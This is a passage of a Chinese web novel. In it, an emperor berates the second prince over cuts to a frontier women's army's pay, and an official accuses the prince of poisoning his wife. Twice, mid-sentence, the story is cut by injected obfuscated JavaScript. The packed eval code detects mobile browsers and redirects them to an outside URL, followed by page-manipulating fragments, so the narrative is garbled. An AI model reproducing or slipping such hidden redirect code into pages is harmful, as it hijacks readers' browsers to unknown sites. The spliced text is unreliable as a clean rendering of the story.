不得不承认的是九阙说的这一番话完完全全戳中了二皇子心中那个点,但是他即便再愚蠢,也知道此时此刻不能赞同。 他暗暗咬牙,随即尽量若无其事的表示。 “应大人未免太过激动了吧?就算你们同为女子,可我朝律法不是按照同情制定。其实本皇子可以理解应大人想为同为女子的于初阳求情。可这里是大景朝堂,不是你的闺阁。那等私情还是算……” “二皇子此言差矣。微臣虽为女子,但也是大景朝臣。所作所为都是为了大景,就事论事而已。于初阳罪不至死,难道要因为一点微不足道的偏见就置她于死地?这才是对律法最大的蔑视。” 二皇子根本没想到应九阙竟会当着这么多臣子的面反驳自己,当时脸色就有些难看。再加上父皇并没有对这件事表达明确的态度。 而且,父皇可是个男人啊,男人最懂男人,又有哪个男人会愿意看到应九阙这等跋扈的女人在朝堂之上活跃?想来父皇早就对她不喜了吧?只是一直没能找到机会。于初阳的事儿就是个最好的时机,若是能借此将于初阳摁下去,应九阙的人就不远了。 因此他直接开口。 “我看于初阳与李澄园定是一伙的,否则她们两个也不会一同前往清谈会!应大人认为于初阳无罪,倒是拿出来证据。否则就不要在这里浪费大家的时间……” 九阙眯了眯眼睛,二皇子这是彻底撕破脸皮了? 其实他们两个在这里如何争论都影响不了最终的结局,因为这件事能够拍板决定的,只有景泰帝一人。 只是说来也奇怪,二皇子闹的事儿在整个京城沸沸扬扬的,一直雷厉风行的景泰帝却并没有对此表达自己明确的态度。这也导致了不少朝臣怀疑景泰帝属意的接班人是二皇子,以至于举棋不定。站在前排的那些大员中,有人眯了眯眼。嗯,看来陛下如今也是举棋不定呀。其实二皇子或者四皇子上位于他而言都没什么区别,毕竟都是软弱无能之人,好掌控的很。然而他更想要的是借助二皇子和四皇子之事让陛下再生一场大气。陛下金戈铁马这么多年,身上的暗伤可不少。再加上这些年国事繁杂,精气神远不如前。若是…… 此刻大家的注意力一半在应九阙和二皇子的争论上,剩下的一半都在高台之上的景泰帝身上。 只是还没等两人争出来个结果,景泰帝就刷了一下,扔下来一本奏折,好巧不巧刚好扔到二皇子腿上。原本还以为自己稳占上风的二皇子脸色突然一变,说句心里话,他还是有些惧怕自己这个父皇,此刻下意识的开始反省自己这段时间有没有做错的地方。 但想了又想,他好像没做错什么啊…… “老二,看看这本折子!” 二皇子胆战心惊的打开这本看起来平平无奇的奏折,只是眼睛快速扫了几行之后脸色大变,连忙跪下求饶。 “父皇!儿臣绝无此意!求您明鉴!” 那本混乱之中被摊在地上的折子刚好落入九阙的视线范围。上面的字迹笔墨酣畅,带着一股难言的愤怒。满篇写的都是难以置信,再一看落款。 哟吼,北关娘子军! 果然,这京城的风实在厉害,竟然都刮到北关了。 “朕还没死呢,你就迫不及待想对边疆插手了?!娘子军的军饷为什么少了七成?今年预备的冬衣哪里去了?!朕倒是没想到你还有这样的胆子!怎么?在京城搅弄风云把女子踩在脚下还不够,还想把远在边关的娘子军也踩在脚下?若是你当真觉得女子毫无作用,为何要忌惮她们?” “一个男人,一个皇子!就算你想要朕屁股底下这张龙椅,也应该堂堂正正的来争来抢来夺!而不是藏在你娘屁股后头,用打压女子的方式来争抢!女人难道就不是大景的国民了?女人难道就不是人?合着你底下多拿点儿玩意儿就显得你更尊贵是不?老子这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859365|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有个闺女!朕要是有个闺女,比你强,就轮不到你来做龙椅了!” 此等诛心之言,不仅二皇子痛哭流涕,表明自己绝无此意,就连朝臣们也纷纷跪下,不敢直视盛怒中的龙颜。 以前有些老古板想驳斥陛下刚刚说那话,却被身边的同僚给拽住了,就算你想通过上谏搏生前身后名,也得把握时机呀!这时候陛下明显龙颜大怒,你再跳出去,你不死谁死? “那个于淮山,持身不正,自己想要名扬天下,偏偏要靠女儿和孙女儿!朕就奇了怪了,满朝堂的朝臣,你们自家的女儿侄女儿,孙女外孙女儿嫁了人死了夫君,还会费尽心思找个更好的。怎么轮到别人家的闺女就不成了?兵部侍郎左大人,朕记得你那小女儿刚出嫁不过三月丈夫就因马上风而死,你家夫人神勇无双,直接冲上门去将自家闺女接回来,不到一年就找了个如意郎君嫁过去,如今生活的和和美美,孩子都生了三个。偏偏你在这件事儿上连个屁都不敢放!怎么?你是觉得你家夫人在你闺女这件事上做错了?” “微臣不敢,微臣惶恐。” “朕看你确实该惶恐惶恐。二皇子做错了事,你们这些做臣子的不说规劝一二,反而默不作声,是何道理?还有大理寺少卿,朕记得你那外孙女儿……” 【啊,没想到老皇 帝还挺精明的,臣子们的家事儿他都知道,看来二皇子这些时日的所作所为他都一清二楚。总觉得好无聊啊,朝堂之上谁不知道二皇子做错了事?可大多数同僚总觉得女子做错事必须得有更严苛的惩罚。他们的脑袋跟猪脑子有什么区别?人生而平等,怎么能因为男女就有所区分?】 “咳咳咳……对了,还有司农少卿家的孙女儿……” 【咦?好像有人想进宫啊。现在不是大朝会吗?谁想进来?礼部员外郎秦大人?奇怪,这位秦大人不是告病了吗?他身边怎么还带着别人?嘶,要出事儿!他要告御状!】 第二百二十六章 告御状 告御状?! 表面上侃侃而谈的景泰帝险些咬到自己的舌头。震惊之下,他分出一缕心神看向殿外,下一刻,所有朝臣都听到了绵延不绝,震天响的鼓声! 鸣冤鼓! 原本正担忧的朝臣们此刻也顾不得之前讨论的事了,他们彼此对视一眼,都能看到对方眼中的震惊之意。这鸣冤鼓是景泰帝开国初年,在朝武门外设立的一面大鼓。特意找了经年的老师傅来制作,确保鼓声能够绵延数里。这十三年来,鼓声响起的次数屈指可数。但每一次,景泰帝都会严肃对待,当即,朝堂之上方才讨论的问题全部搁置。 九福领命,脚步匆匆的带人前去朝武门外。 整个朝堂之上方才还人声鼎沸,此刻却已经万籁俱寂,没人敢在这个时候多说一个字。 仿佛过了许久,又仿佛只过了片刻,九福已经带着人匆匆归来,只是他脸上的表情有些怪异,似乎是不知道该怎么形容。 当朝堂之上的众人看到跟在九福身后的人时都忍不住露出了奇怪的表情,这不是礼部员外郎秦大人吗? 当然了,这位秦大人还有另外一重身份,他的女儿是当初的二皇子妃,只是这位二皇子妃福薄,在二皇子崭露头角之际就因病去世。秦大人一生清正廉洁,与其夫人只有一女,感情颇深,自从女儿去世之后,就大病一场,一直告假。这些时日也从未在京城露过脸,此刻为什么突然出现? 不少人心中都浮现出一个不可思议的猜想,但此刻纷纷低下了脑袋,不敢做出头之人。 这位秦大人是个耿介之臣,不太懂得为官之道,只是自身学识实在够硬,所以才在礼部当了个员外郎,如无意外,下一步就是礼部侍郎。 当初景泰帝就是看中他家世清贵,才会把他的女儿赐给二皇子做正妃。这些年来虽说没能给二皇子生下个一儿半女,但也不是善妒之人,二皇子院中的妃妾熙熙攘攘,少说也有十来位,并且把二皇子府打理的井井有条。 因此景泰帝对二皇子妃的印象还算不错。 这会儿见到秦大人面色悲怆,一瘸一拐的进来,景泰帝心中有了个不好的猜测,这鸣冤鼓也不是谁都能敲的,必须得有惊天大冤,而且情况必须属实。敲了鸣冤鼓之后,要受廷杖四十,才能进殿面君。 秦大人身为礼部员外郎,对此事最为了解,然而即便如此他也要铤而走险,可见他确实有天大的冤情。 景泰帝看一眼二皇子陡然惨白的脸,缓缓闭了闭眼,打起精神。 “秦爱卿,你有何冤屈?尽管说来。” “陛下!” 秦大人显然有满腹的委屈要诉,此刻,跪伏在地,声音颤抖却洪亮。他要把自己女儿所受的冤屈在这金銮殿上说个一清二楚! “罪臣要状告二皇子,谋害发妻!” 秦大人一字一顿,每个字的吐息之间都仿佛要咬破舌尖般泣血,这股气在他胸腔中憋了这么多天,简直要将他清瘦的胸腔憋炸,如今终于有了发泄口,他的声音越来越大越来越洪亮,震彻整个金銮殿! “我女儿,不说举世无双,也是贤良淑德,这些年来打理二皇子府兢兢业业,从来不敢有怨言。虽说没能为二皇子诞下一儿半女,但也从来没有制止过他纳妾。二皇子的后院叫的上名字的妾室就有十几个,叫不上来的就更多了,我女儿绝不是个善妒之人!若是二皇子你看不上我家闺女,与她和离,甚至休了她也行啊,我们做臣子的不敢有怨言。可你为何非得要害她性命?我女儿到底有哪里对不起你?!” “你,你胡说!菀娘分明是生病而亡!” “你敢开棺一验吗?!” 二皇子仿佛被咬了舌头般,张口结舌,脸被憋的通红,然而却怎么也说不出敢来。他用的药虽然顶级,但怎么能扛得住太医院的查验? “当初就觉得奇怪,我女儿就算真的因病而亡,按照我朝法制,也得由太医院查证过后,停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859366|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棺七日才能发丧!可二皇子却着急的连三日都不够,直接将我女儿下葬!当初我和夫人想见女儿最后一面,你百般阻挠,还说什么这是菀娘最后的遗愿,因为生病变得病骨支离,不想让我们老两口见了伤心,可笑我还真信了你这一套。可后来我越想越觉得不对劲,我女儿带过去的大丫鬟一个不剩,都被处死。就算因为伺候不当,这样的处罚未免也太过了些。更奇怪的是,那些伺候过我女儿的都被打死了,一个发卖的都没有!” “若不是老天开眼,其中一个丫鬟大难不死,我恐怕至死都不知道我的女儿,竟是被自己的枕边人害死的!” “你,你,胡言乱语,胡言乱语!” 二皇子没曾想对方竟然知道了这么多,当初那些婢女丫鬟不是都被处理了吗?怎么可能还会有活口?! 看着自乱阵脚的二皇子,景泰帝眼中闪过一丝暗沉,他开始怀疑,自己莫不是上辈子做了什么欺师灭祖刨人祖坟的错事儿,才会让他有这样一个儿子?哦,欺师灭祖不知道,刨人祖坟这事儿他确实做了,前朝皇帝的皇陵被他拆了个一干二净,毕竟大景穷啊。但是这处罚也太过分了吧? 秦大人显然是有备而来,他或许就没想过自己能活着出去,这会儿后背 后臀上的伤口还在隐隐作痛,但他依然顾不得流的血,他必须趁着这个群臣聚集的机会将此时做个了结,否则,都会知道二皇子会趁着找个机会做什么? “二皇子!我女儿自小身子骨硬朗,当初陛下为您赐婚不也是看中我菀娘的体质吗?试问,一个好端端的人,怎么可能在十天之内就生病致死?并且明明太医开的药不对症,二皇子府却还是让那个王太医接着诊治?按照宫廷规矩,若是太医所开药方无用,就应该换医术更高明的太医轮番诊治,为何我的菀娘没有?” “陛下!这是我女儿身边的丫鬟绿影,虽只是最低等的洒扫丫鬟,但或许正因如此,二皇子对其丧失警惕,让她侥幸留的一命!”